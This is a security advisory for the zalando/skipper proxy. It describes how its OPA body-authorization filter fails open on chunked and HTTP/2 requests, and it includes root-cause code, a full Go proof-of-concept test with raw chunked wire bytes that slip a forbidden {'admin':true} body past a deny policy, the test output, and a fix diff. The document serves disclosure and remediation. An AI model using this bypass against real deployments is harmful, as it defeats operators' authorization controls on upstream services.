Skipper: opaAuthorizeRequestWithBody filter bypasses OPA policy on Transfer-Encoding — chunked / HTTP/2 requests ### Summary `zalando/skipper`'s OpenPolicyAgent integration silently bypasses request-body inspection on HTTP/1.1 `Transfer-Encoding: chunked` and HTTP/2 requests that omit the `content-length` pseudo-header. When the `opaAuthorizeRequestWithBody` filter is configured, the `OpenPolicyAgentInstance.ExtractHttpBodyOptionally` helper produces an empty `raw_body` for any request whose `Content-Length` header is missing, while the underlying chunked body still flows through to the upstream service. Rego policies that gate on `input.parsed_body` (e.g. "deny when a forbidden field is present") evaluate against an empty document, treat the forbidden field as absent, and authorize the request. The upstream handler then receives the full attacker payload that the policy intended to block. ### Affected versions `github.com/zalando/skipper` versions `<= v0.26.8` (the latest release on 2026-05-26, current `master` `4eed47ff`). The vulnerable helper and gate have lived in `filters/openpolicyagent/openpolicyagent.go` since the buffered-body extractor was introduced; no released version contains the fix at the time of filing. ### Privilege required Unauthenticated network access to the skipper proxy listener. The threat model targets operators who place skipper in front of a private upstream and rely on `opaAuthorizeRequestWithBody` to enforce body-content checks (field allow/deny lists, payload schema gates, content-moderation flags, multi-tenant per-action authorization). Both HTTP/1.1 and HTTP/2 clients are affected; HTTP/2 traffic without a `content-length` pseudo-header is the dominant case because Go's `net/http` sets `http.Request.ContentLength = -1` for chunked HTTP/1.1 AND for HTTP/2 requests whose framing carries the body as DATA frames without an explicit length header. ### Root cause `filters/openpolicyagent/openpolicyagent.go:1242-1269` (HEAD `4eed47ff`): ```go func bodyUpperBound(contentLength, maxBodyBytes int64) int64 { if contentLength <= 0 { return maxBodyBytes } if contentLength < maxBodyBytes { return contentLength } return maxBodyBytes } func (opa *OpenPolicyAgentInstance) ExtractHttpBodyOptionally(req *http.Request) (io.ReadCloser, []byte, func(), error) { body := req.Body if body != nil && !opa.EnvoyPluginConfig().SkipRequestBodyParse && req.ContentLength <= int64(opa.maxBodyBytes) { wrapper := newBufferedBodyReader(req.Body, opa.maxBodyBytes, opa.bodyReadBufferSize) requestedBodyBytes := bodyUpperBound(req.ContentLength, opa.maxBodyBytes) if !opa.registry.maxMemoryBodyParsingSem.TryAcquire(requestedBodyBytes) { return req.Body, nil, func() {}, ErrTotalBodyBytesExceeded } rawBody, err := wrapper.fillBuffer(req.ContentLength) return wrapper, rawBody, func() { opa.registry.maxMemoryBodyParsingSem.Release(requestedBodyBytes) }, err } return req.Body, nil, func() {}, nil } ``` `filters/openpolicyagent/openpolicyagent.go:1195-1210`: ```go func (m *bufferedBodyReader) fillBuffer(expectedSize int64) ([]byte, error) { var err error for err == nil && int64(m.bodyBuffer.Len()) < m.maxBufferSize && int64(m.bodyBuffer.Len()) < expectedSize { var n int n, err = m.input.Read(m.readBuffer) m.bodyBuffer.Write(m.readBuffer[:n]) } if err == io.EOF { err = nil } return m.bodyBuffer.Bytes(), err } ``` When the client sends `Transfer-Encoding: chunked` (HTTP/1.1) or an HTTP/2 request without `content-length`, Go's `net/http` server sets `req.ContentLength = -1`. The gate at line 1258 (`req.ContentLength <= int64(opa.maxBodyBytes)`) is true (`-1 <= positiveLimit`), so the body gets wrapped in `bufferedBodyReader`. `bodyUpperBound(-1, max)` returns `max`, so the memory semaphore is acquired, but `fillBuffer(-1)` then evaluates `int64(m.bodyBuffer.Len()) < expectedSize` as `0 < -1`, which is false on the first iteration. The loop never enters, the buffer stays empty, and the helper returns `[]byte{}` as `rawBody` to the caller. The caller in `filters/openpolicyagent/opaauthorizerequest/opaauthorizerequest.go:121` hands this empty slice to `envoy.AdaptToExtAuthRequest` which puts it into `AttributeContext.Request.Http.RawBody`. The OPA SDK then exposes the empty buffer as both `input.attributes.request.http.raw_body` and the parsed `input.parsed_body` document (the latter becomes an empty/undefined value). Any Rego rule that asserts the presence of a forbidden field in `input.parsed_body` evaluates to undefined and fails into the rule's default (typically `allow`). Meanwhile, the wrapped `body` returned to the filter (`req.Body = body` at line 127 of `opaauthorizerequest.go`) is a `bufferedBodyReader` whose `Read()` falls through to the underlying `m.input.Read(p)` when the buffer is empty (lines 1212-1228). The upstream handler therefore reads the full attacker payload that OPA was never given a chance to inspect. ### Reproduction (E2E against pinned `github.com/zalando/skipper@v0.26.8`) GHSA advisories have no file-attachment mechanism, so the complete `poc_test.go` source and the verbatim `go test` output are inlined below. The PoC is a Go test placed in `filters/openpolicyagent/opaauthorizerequest/poc_test.go` inside a checkout of the `v0.26.8` tag, so it links against the exact released source. It boots a real skipper proxy via `proxytest.New`, configures it with the `opaAuthorizeRequestWithBody` filter pointing at an in-process `opasdktest.MustNewServer` bundle server, installs a Rego policy that DENIES requests whose body contains `admin=true`, and adds a tiny upstream that records the body it actually received. It then drives the proxy over a raw TCP socket (`net.DialTimeout` + `http.ReadResponse`) to control the wire framing precisely, sending three requests. `poc_test.go`: ```go package opaauthorizerequest // PoC: opaAuthorizeRequestWithBody OPA-bypass on chunked / HTTP2 framing. // // The filter's body extractor (filters/openpolicyagent/openpolicyagent.go, // ExtractHttpBodyOptionally) gates on `req.ContentLength <= maxBodyBytes` // and then calls fillBuffer(req.ContentLength). When the client sends the // body with Transfer-Encoding: chunked (HTTP/1.1) or via HTTP/2 without a // declared length, net/http sets req.ContentLength = -1. The gate passes // (-1 <= max) but fillBuffer's loop condition `len(buf) < expectedSize(-1)` // is immediately false, so the buffered body is EMPTY. OPA therefore sees an // empty input.parsed_body, a deny-policy that keys on the body fails open, // and the full attacker body is forwarded upstream. // // This test boots a real skipper proxy (proxytest) with the // opaAuthorizeRequestWithBody filter pointed at an in-process OPA bundle // server (opasdktest) hosting a deny-when-admin=true policy, plus a tiny // upstream that records the body it actually received. It then drives the // proxy over a raw TCP socket to control the wire framing precisely. import ( "bufio" "fmt" "io" "net" "net/http" "net/http/httptest" "strings" "sync" "testing" "time" opasdktest "github.com/open-policy-agent/opa/v1/sdk/test" "github.com/zalando/skipper/eskip" "github.com/zalando/skipper/filters" "github.com/zalando/skipper/filters/builtin" "github.com/zalando/skipper/proxy/proxytest" "github.com/zalando/skipper/tracing/tracingtest" "github.com/zalando/skipper/filters/openpolicyagent" ) // rawRequest opens a fresh TCP connection to addr, writes wire verbatim, and // returns the parsed HTTP response. func rawRequest(t *testing.T, addr, wire string) *http.Response { t.Helper() conn, err := net.DialTimeout("tcp", addr, 5*time.Second) if err != nil { t.Fatalf("dial %s: %v", addr, err) } defer conn.Close() _ = conn.SetDeadline(time.Now().Add(10 * time.Second)) if _, err := io.WriteString(conn, wire); err != nil { t.Fatalf("write wire: %v", err) } resp, err := http.ReadResponse(bufio.NewReader(conn), nil) if err != nil { t.Fatalf("read response: %v", err) } // Drain so the body received by upstream is flushed before we inspect it. _, _ = io.Copy(io.Discard, resp.Body) _ = resp.Body.Close() return resp } func TestSkipperOPABypassPoC(t *testing.T) { // Upstream records, per request, the body bytes it actually received. var mu sync.Mutex var upstreamBodies []string upstream := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { b, _ := io.ReadAll(r.Body) mu.Lock() upstreamBodies = append(upstreamBodies, string(b)) mu.Unlock() w.WriteHeader(http.StatusOK) _, _ = w.Write([]byte("UPSTREAM-REACHED")) })) defer upstream.Close() // OPA bundle: allow by default, deny only when the parsed body says admin==true. opaControlPlane := opasdktest.MustNewServer( opasdktest.MockBundle("/bundles/test", map[string]string{ "main.rego": ` package envoy.authz import rego.v1 default allow := true allow := false if { input.parsed_body.admin == true } `, }), ) defer opaControlPlane.Stop() config := fmt.Appendf(nil, `{ "services": { "test": { "url": %q } }, "bundles": { "test": { "resource": "/bundles/{{ .bundlename }}" } }, "labels": { "environment": "test" }, "plugins": { "envoy_ext_authz_grpc": { "path": "envoy/authz/allow", "dry-run": false } } }`, opaControlPlane.URL()) opts := []func(*openpolicyagent.OpenPolicyAgentInstanceConfig) error{ openpolicyagent.WithConfigTemplate(config), } opaFactory, err := openpolicyagent.NewOpenPolicyAgentRegistry( openpolicyagent.WithTracer(tracingtest.NewTracer()), openpolicyagent.WithOpenPolicyAgentInstanceConfig(opts...), ) if err != nil { t.Fatalf("registry: %v", err) } fr := make(filters.Registry) fr.Register(NewOpaAuthorizeRequestWithBodySpec(opaFactory)) fr.Register(builtin.NewSetPath()) // Route: every request runs opaAuthorizeRequestWithBody, then proxies to upstream. r := eskip.MustParse(fmt.Sprintf( `* -> opaAuthorizeRequestWithBody("test") -> "%s"`, upstream.URL)) proxy := proxytest.New(fr, r...) defer proxy.Close() host := strings.TrimPrefix(proxy.URL, "http://") type tc struct { name string wire string wantStatus int wantUpstrm bool // whether upstream is expected to be reached } cases := []tc{ { name: "1: Content-Length benign body -> 200 ALLOW", wire: "POST /priv HTTP/1.1\r\n" + "Host: " + host + "\r\n" + "Content-Type: application/json\r\n" + "Connection: close\r\n" + "Content-Length: 15\r\n" + "\r\n" + `{"admin":false}`, wantStatus: 200, wantUpstrm: true, }, { name: "2: Content-Length admin body -> 403 DENY (negative control)", wire: "POST /priv HTTP/1.1\r\n" + "Host: " + host + "\r\n" + "Content-Type: application/json\r\n" + "Connection: close\r\n" + "Content-Length: 14\r\n" + "\r\n" + `{"admin":true}`, wantStatus: 403, wantUpstrm: false, }, { name: "3: chunked admin body -> EXPECTED 403, BUG 200 (bypass)", wire: "POST /priv HTTP/1.1\r\n" + "Host: " + host + "\r\n" + "Content-Type: application/json\r\n" + "Connection: close\r\n" + "Transfer-Encoding: chunked\r\n" + "\r\n" + "e\r\n" + `{"admin":true}` + "\r\n" + "0\r\n" + "\r\n", wantStatus: 200, // documents the BUG: should be 403 but the bypass yields 200 wantUpstrm: true, }, } for _, c := range cases { mu.Lock() before := len(upstreamBodies) mu.Unlock() resp := rawRequest(t, host, c.wire) mu.Lock() reached := len(upstreamBodies) > before var lastBody string if reached { lastBody = upstreamBodies[len(upstreamBodies)-1] } mu.Unlock() t.Logf("[%s] status=%d upstreamReached=%v upstreamBody=%q", c.name, resp.StatusCode, reached, lastBody) if resp.StatusCode != c.wantStatus { t.Errorf("[%s] status = %d, want %d", c.name, resp.StatusCode, c.wantStatus) } if reached != c.wantUpstrm { t.Errorf("[%s] upstreamReached = %v, want %v", c.name, reached, c.wantUpstrm) } } // Explicit bypass assertion: the chunked admin body MUST have reached // upstream verbatim despite the deny policy. mu.Lock() defer mu.Unlock() bypassed := false for _, b := range upstreamBodies { if b == `{"admin":true}` { bypassed = true } } if bypassed { t.Logf("BYPASS CONFIRMED: upstream received {\"admin\":true} despite deny policy (OPA saw empty parsed_body for the chunked request)") } else { t.Errorf("expected the chunked admin body to reach upstream (bypass), but it did not") } } ``` The three requests cover: | # | Wire framing | Body | Expected | Got | |---|--------------|------|----------|-----| | 1 | `Content-Length: 15` | `{"admin":false}` | 200 ALLOW | 200 (upstream reached) | | 2 | `Content-Length: 14` | `{"admin":true}` | 403 DENY | 403 (OPA blocked) | | 3 | `Transfer-Encoding: chunked` | `{"admin":true}` | 403 DENY | **200 ALLOW (bypass)** | Test 3 wire bytes: `POST /priv HTTP/1.1\r\nHost: ...\r\nContent-Type: application/json\r\nConnection: close\r\nTransfer-Encoding: chunked\r\n\r\ne\r\n{"admin":true}\r\n0\r\n\r\n`. Run command and verbatim output (`go version go1.26.3 darwin/arm64`, `github.com/open-policy-agent/opa v1.14.1` as pinned by skipper `v0.26.8`): ``` $ go test -v -run TestSkipperOPABypassPoC -count=1 ./filters/openpolicyagent/opaauthorizerequest/ === RUN TestSkipperOPABypassPoC 2026/05/28 14:43:47 route settings, reset, route: : * -> opaAuthorizeRequestWithBody("test") -> "http://127.0.0.1:57343" 2026/05/28 14:43:47 route settings received, id: 1 time="2026-05-28T14:43:47+08:00" level=info msg="Starting OPA instance..." bundle-name=test time="2026-05-28T14:43:47+08:00" level=info msg="OPA instance health updated: healthy=false status=map[bundle:{NOT_READY \"\"} discovery:{NOT_READY \"\"} envoy_ext_authz_grpc:{OK \"\"}]" bundle-name=test time="2026-05-28T14:43:47+08:00" level=info msg="OPA instance health updated: healthy=false status=map[bundle:{NOT_READY \"\"} discovery:{OK \"\"} envoy_ext_authz_grpc:{OK \"\"}]" bundle-name=test time="2026-05-28T14:43:47+08:00" level=info msg="OPA instance health updated: healthy=true status=map[bundle:{OK \"\"} discovery:{OK \"\"} envoy_ext_authz_grpc:{OK \"\"}]" bundle-name=test 2026/05/28 14:43:47 route settings applied, id: 1 poc_test.go:211: [1: Content-Length benign body -> 200 ALLOW] status=200 upstreamReached=true upstreamBody="{\"admin\":false}" poc_test.go:211: [2: Content-Length admin body -> 403 DENY (negative control)] status=403 upstreamReached=false upstreamBody="" poc_test.go:211: [3: chunked admin body -> EXPECTED 403, BUG 200 (bypass)] status=200 upstreamReached=true upstreamBody="{\"admin\":true}" poc_test.go:233: BYPASS CONFIRMED: upstream received {"admin":true} despite deny policy (OPA saw empty parsed_body for the chunked request) --- PASS: TestSkipperOPABypassPoC (0.11s) PASS ok github.com/zalando/skipper/filters/openpolicyagent/opaauthorizerequest 1.897s ``` Test 1 (Content-Length, benign body) is allowed and reaches upstream with `{"admin":false}`. Test 2 is the negative control: the same `{"admin":true}` payload sent with a `Content-Length` header is correctly DENIED (HTTP 403) and never reaches the upstream, proving the policy itself is sound. Test 3 sends the identical forbidden body as `Transfer-Encoding: chunked`; OPA evaluates an empty `parsed_body`, the deny rule fails open, the proxy returns HTTP 200, and the upstream receives the full `{"admin":true}` payload that the policy was configured to block. ### Impact Operators relying on `opaAuthorizeRequestWithBody` for body-content authorization are silently downgraded to header/path-only authorization for any client that emits chunked or HTTP/2 requests. Concrete production patterns affected: - "Deny when body contains admin/privileged field" guardrails for multi-tenant or role-stratified APIs; - "Deny when content-moderation flag is present" filters in front of user-content endpoints; - "Deny when payload schema version is forbidden" gates for deprecated-API shutdown; - "Deny when SQL/command-injection-shaped string is present" generic body validators. In every case the chunked attack arrives with the forbidden body intact, OPA evaluates against an empty document, the policy fails open, and the upstream receives the attacker payload that the deployment was specifically configured to block. There is no log signal in OPA's decision log distinguishing "body was empty" from "client did not send a body". Note that the OPA decision log will record the request as ALLOWED with `raw_body` length 0, which complicates post-hoc forensic detection. The upstream's request log will show the full body, producing a confusing allow/observed asymmetry across systems. CVSS 3.1: `AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N` (8.5 HIGH). Scope is Changed because the failure crosses the trust boundary between the authorization filter and the upstream service. ### Suggested fix `filters/openpolicyagent/openpolicyagent.go`: ```diff func (opa *OpenPolicyAgentInstance) ExtractHttpBodyOptionally(req *http.Request) (io.ReadCloser, []byte, func(), error) { body := req.Body + // `req.ContentLength == -1` is set by net/http when the client uses + // Transfer-Encoding: chunked (HTTP/1.1) or omits content-length in + // HTTP/2 framing. Treat unknown-length bodies as up-to-max-bytes and + // drive fillBuffer with the policy cap instead of the negative + // sentinel, otherwise the fillBuffer loop short-circuits on its + // `len < expectedSize` predicate and OPA evaluates an empty body. + expectedSize := req.ContentLength + if expectedSize < 0 { + expectedSize = opa.maxBodyBytes + } + if body != nil && !opa.EnvoyPluginConfig().SkipRequestBodyParse && - req.ContentLength <= int64(opa.maxBodyBytes) { + expectedSize <= int64(opa.maxBodyBytes) { wrapper := newBufferedBodyReader(req.Body, opa.maxBodyBytes, opa.bodyReadBufferSize) - requestedBodyBytes := bodyUpperBound(req.ContentLength, opa.maxBodyBytes) + requestedBodyBytes := bodyUpperBound(expectedSize, opa.maxBodyBytes) if !opa.registry.maxMemoryBodyParsingSem.TryAcquire(requestedBodyBytes) { return req.Body, nil, func() {}, ErrTotalBodyBytesExceeded } - rawBody, err := wrapper.fillBuffer(req.ContentLength) + rawBody, err := wrapper.fillBuffer(expectedSize) return wrapper, rawBody, func() { opa.registry.maxMemoryBodyParsingSem.Release(requestedBodyBytes) }, err } return req.Body, nil, func() {}, nil } ``` After the fix, `fillBuffer(maxBodyBytes)` reads chunked bodies up to the configured cap. If the body exceeds the cap, the existing `Read()` path already returns the wrapped reader for downstream consumption, matching the documented behaviour for over-cap requests today; the operator-configured `maxRequestBodyBytes` continues to be the single knob governing memory allocation. A regression test `TestOpaAuthorizeRequestWithBody_ChunkedBodyIsParsed` in `filters/openpolicyagent/opaauthorizerequest/opaauthorizerequest_test.go` should send a `Transfer-Encoding: chunked` request matching a blacklist policy and assert HTTP 403, and a same-payload Content-Length request to confirm parity. ### Credit Reported by tonghuaroot.

CVE-2026-50197 Blast Radius

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